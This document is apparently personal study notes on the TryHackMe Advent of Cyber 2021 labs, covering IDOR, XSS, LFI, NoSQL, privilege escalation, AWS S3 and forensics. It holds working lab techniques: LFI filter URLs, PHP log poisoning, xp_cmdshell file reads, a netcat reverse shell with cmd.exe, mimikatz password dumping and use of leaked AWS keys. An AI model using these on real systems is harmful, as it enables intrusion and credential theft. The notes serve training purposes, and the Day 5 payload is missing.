Advant of cyber 2021

Day1

IDOR
- insecure direct object reference
- Its a access control vulnerability
- Must check areas for idor attack
  - Query component
  - post variable
  - cookies

Day2

Cookies
- Cookies are tiny pieces of data (metadata) or information locally stored on your computer that are sent to the server when you make a request

Authentication bypass using cookie manipulation
- The cookies been generated with hexadecimal here.
- After extracting the content, change user type to admin and thus bypassing the login

Day3

Content Discovery
• Configuration files
• Passwords and secrets
• Backups
• Content management systems
• Administrator dashboards or portals

From directory bruteforcing, we will get a page named admin
In that default username and password was “administrator”

login with that and will get the flag

Day4

Brute forcing
Authentication
1. A known set of credentials to the server and user such as a username and password
2. Token authentication (these are unique pieces of encrypted text)
3. Biometric authentication (fingerprints, retina data, etc.)

Fuzzing
- Login page is given
- give some credentials and intercpt the request using burp suite
- Sent the request to intruder. We already know the username, and the password list is given.
- Fuzz the password field and start the attack
- Thus able to identify the password and get the flag

Day5

Cross site scripting

Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users.

3 types

- Dom based
- Refleced
- Stored

Tesing the comment section by the scirpt “”

And it's working

From the observations, when there is a password reset,

Added that as a script in the comment section to manipulate the passwords of every users who are going to login the machine

payload :

Day6

Local FIle inclusion

It is a web application vulnerability that allows the attacker to include and read local files on the server. These files could contain sensitive data such as cryptographic keys, databases that contain passwords, and other private data.

Exploiting LFI

PHP Filter

- eg: http://example.thm.labs/page.php?file=php://filter/resource=/etc/passwd
- rot13 : http://example.thm.labs/page.php?file=filter/read=string.rot13/resource=/etc/passwd
- base64: http://example.thm.labs/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

Here it is : http://10.10.9.201/index.php?err=php://filter/convert.base64-encode/resource=/var/www/html/index.php

For credentials : http://10.10.9.201/index.php?err=php://filter/convert.base64-encode/resource=/var/www/html/includes/creds.php

PHP Data

Using PHP Wrapper

Eg:http://example.thm.labs/page.php?file=data://text/plain;base64,QW9DMyBpcyBmdW4hCg==

For getting the system details

curl -A "<?php phpinfo();?>" http://10.10.9.201/index.php

Now use the private window and open http://10.10.9.201/index.php?err=./includes/logs/app_access.log to obtain the result.

Day7

NoSQL

A NoSQL database refers to a non-relational database that is short for non SQL and Not only SQL. It is a data-storing and data-retrieving system.

Access the Login Page

Use burp suite for intercepting the request

Modify the username / password field for getting the flag

Day8

RDP

Remote Desktop Protocol

To connect a windows machine through RDP

Command: xfreerdp /u:<Username> /p:<Password/v:<IP_addr>

Eg: xfreerdp /u:Administrator /p:grinch123! /v:10.10.187.191

Here have to analyse the system logs

Shellbags - > https://shehackske.medium.com/windows-shellbags-part-1-9aae3cfaf17

To extract the Shellbags information within this UsrClass.dat file, we will use the "Shellbags Explorer"

For the rest of the enumeration and findings are based on this github account
https://github.com/Grinchiest
From this github account, we are able to get the password of the .uha compressed file.

Open the UHARC extraction utility and give the password for completing the tasks

Day9

Wireshark
Analysis of pcap file.

Using filters to get the answers

Eg:http.request.method==get/post
http/dns/ftp/ftp-data

Day10

Attack Narration##

Basic idea about networking, ip addressing, protocols are helpful for finishing the day.

Scanning with nmap.
[redacted]nmap -sT 10.10.230.132
nmap -sS 10.10.230.132
nmap -sV 10.10.230.132
nmap -p- 10.10.230.132
nmap -p20212 -sV 10.10.230.132

Vulnerability
https://httpd.apache.org/security/vulnerabilities_24.html

Day11

MS SQL Server is a Relational Database Management System (RDBMS). One simple way to think of a relational database is a group of tables that have relations.
Nmap Scanning
nmap -Pn -T4 10.10.101.131
ms-sql-s port number : 1433

sqsh is an interactive database shell to interact with ms-sql db
Syntax : sqsh -S server -U username -P password

Eg: sqsh -S 10.10.101.131 -U sa -P t7uLKzddQzVjVFJp
Given that database name is reindeer
SELECT * FROM reindeer.dbo.names;
go
SELECT * FROM reindeer.dbo.schedule;
SELECT * FROM reindeer.dbo.schedule;

These are the basic interaction with MS SQL Server.

MS SQL Servers have sometimes xp_cmdshell enabled.
To check whether it is enabled or not, we can try with the command
    xp_cmdshell 'whoami';
If successful, it shows the user details.
To view the system log
    xp_cmdshell 'type c:\windows\WindowsUpdate.log';
    xp_cmdshell 'type C:\Users\grinch\Documents\flag.txt';

Day12

Network file system -> NFS
-
Nmap port and service discovery
    nmap -Pn -T4 10.10.243.141
NFS
    showmount -e 10.10.243.141
    mkdir day12_1
    mount 10.10.243.141:/confidential day12_1

md5sum id_rsa

Day13

Windows Privilage escalation

To access the target system using RDP
    xfreerdp /u:mcskidy /p:Password1 /v:10.10.223.112

Various account types in Windows Server
    Domain Administrators
    Services
    Domain users
    Local accounts

Windows Privilege Escalation Vectors
    Stored Credentials
    Windows Kernel Exploit
    Insecure File/Folder Permissions
    Insecure Service Permissions
    DLL Hijacking
    Unquoted Service Path
    Always Install Elevated
    Other software

Basic information gathering in windows os/server
    commands
        net users #Listing the available users on the systen
        net localgroup administrators #to check the privilaged users
        systeminfo | findstr /B /C: "OS Name"/C: "OS Version"   #To identify the os version
        wmic service list   #Installed services
        systeminfo | findstr "OS" # OS details
        wmic service list | findstr "IperiusSvc"

Privilage esculation using Iperius Backup Service
    this is done by creating a backup process on the Iperium Backup service. First create a backup process. Add destination and on the other process tab, add a bat file. Creating a bat file
        Bat file contents:
            @echo off
            C:\Users\McSkidy\Downloads\nc.exe 10.4.0.94 1337 -e cmd.exe
    Run the backup after filling the necessary contents.
    Run netcat on attacker's machine.
        nc -lnvp 1337

Got the administrative access.(User: the-grinch-hack\thegrinch)

Day14

DevOps
CI/CD (Continuous integration / Continuous delivery)
Security issues with CI/CD
Acess security
Permission
Keys and secrets
User security
Default configuration

Attack narrative
dirb http://10.10.142.186/
Given a username and password for login through ssh
Finding files mentioned in the task
loot.sh file have admin previlage. Manipulate it to get the answers

Day15

Rest For today

Day16

OSINT-Ransomware
Osint information collection from Clearnet and Darknet

In this challenge, extracting information using google translator. Thin identifying the user. With the user's twitter account getting needed informations. Collecting informations from
twitter
github
keybase.io

Day17

ELF Leak
Amazon S3 Service

Test site
curl http://irs-form-990.s3.amazonaws.com/ # Using Curl
aws s3 ls s3://irs-form-990/ --no-sign-request # Using aws
--no-sign-request: allows to request data from S3 without being an AWS Customer.
Downloading Objects:
curl : curl http://irs-form-990.s3.amazonaws.com/201101319349101615_public.xml
aws: aws s3 cp s3://irs-form-990/201101319349101615_public.xml . --no-sign-request

For Challenge
Given an image, view image location
s3 account : https://s3.amazonaws.com/images.bestfestivalcompany.com/
Flag1.txt
https://s3.amazonaws.com/images.bestfestivalcompany.com/flag.txt
From this, able to download wp-backup
Getting AWS access key ID:
grep -rl "AKIA" . # AKIA is given in the hint and thus able to locate the file.
Creating profile details with AKIA
aws s3 ls --profile hr #hr is profile name;can give any name
To find AWS Account Id with the access key

aws sts get-access-key-info --access-key-id AKIAQI52OJVCPZXFYAOI --profile hr #019181489476

To find the usrname associated with the id

aws sts get-caller-identity --profile hr # ElfMcHR@bfc.com

To Find the EC2 instance

aws ec2 describe-instances --output text --profile hr # HR-Portal

To find the password of database of secret manager

aws secretsmanager get-secret-value --region eu-north-1 --profile hr --secret-id HR-Password # Winter2021!

Links:

https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html
https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html
https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html

Day18

Working with Docker

To install docker

apt-get install docker.io

To list docker images

docker images

Working with the task

docker pull public.ecr.aws/h0w1j9u3/grinch-aoc:latest

#This will pull the contents from the aws docker.

To run and interact with the docker containers

docker run -it public.ecr.aws/h0w1j9u3/grinch-aoc:latest

will get a terminal $

Can interact with basic linux commands

Command: printenv

#Shows the environmental varibles will be shown

To save the container details in the local machine

docker save -o aoc.tar -public.ecr.aws/h0w1j9u3/grinch-aoc:latest

To install jq - which is a json reader

apt install jq -y

Reading a json file

cat manifest.json | jq

Day19

Phishing mail analysis

Given the mail. Analysing the sender, receiver, the phishing link and the attached files

Day20

Analysis

file and malware contents

Commands

strings

file

md5sum

virustotal

Day21

Yara
YARA is a multi-platform tool for matching patterns of interest in (malicious) files
Creating Yara rules (Custom)

example rule for EICA malware

```
rule eicayara    {
        meta:
                author="tryhackme"
                description="eicar string"
        strings:
                $a="X50"
                $b="EICAR"
                $c="ANTIVIRUS"
                $d="TEST"
        condition:
                $a and $b and $c and $d
}
```

Based on these rule, yara tries to identifies the conditions
Example commands:
yara eicayara testfile
yara -m eicayara testfile
yara -s eicayara testfile
yara -c eicayara testfile

Day22

Basic encoding
Using
cyberchef
oledump.py

With the given hint, using cyberchef, decode with base64, xor(dec 35) and base64. This will shows the mail deatails.
Using oledump.py
>oledump.py C:\Users\Administrator\Desktop\Santa_Claus_Naughty_List_2021\Santa_Claus_Naughty_List_2021.doc -s 8 -d
By using this, it will retrieve the content from the doc file and we can use the cyberchef steps.

Day23

Windows log analysis
Tool used: Event viewer
Using advanced search, finding events on specific timestramps. And for final answer, edit the powershell script with the keys obtained from the events.

Powershell script with keys
/*

$key = (New-Object System.Text.ASCIIEncoding).GetBytes("j3pn50vkw21hhurbqmxjlpmo9doiukyb")

$encrypted =
"76492d1116743f0423413b16050a5345MgB8AEcAVwB1AFMATwB1ADgALwA0AGQAKwBSAEYAYQBHAE8ANgBHAG0AcQBnAHcAF

```
echo $encrypted | ConvertTo-SecureString -key $key | ForEach-Object
{[Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($_))}

*/
```

Day24

Post exploitation methods.
Mimikatz
Windows stores various credentials in the Security Accounts Manager (SAM) database. (LM, NTLM)

```
net users #List the users
mimikatz:
        privilege::debug        #check the privileges
        sekurlsa::logonpasswords        # from sekurlsa module, it dump the user's passwords
```

John the ripper

```
        It's used to crack the password hash
        usage for this challenge:
                john --format=NT -w=/usr/share/wordlists/rockyou.txt day24.txt
```

Day25

Survey and feedback of AoC 25 day challeges.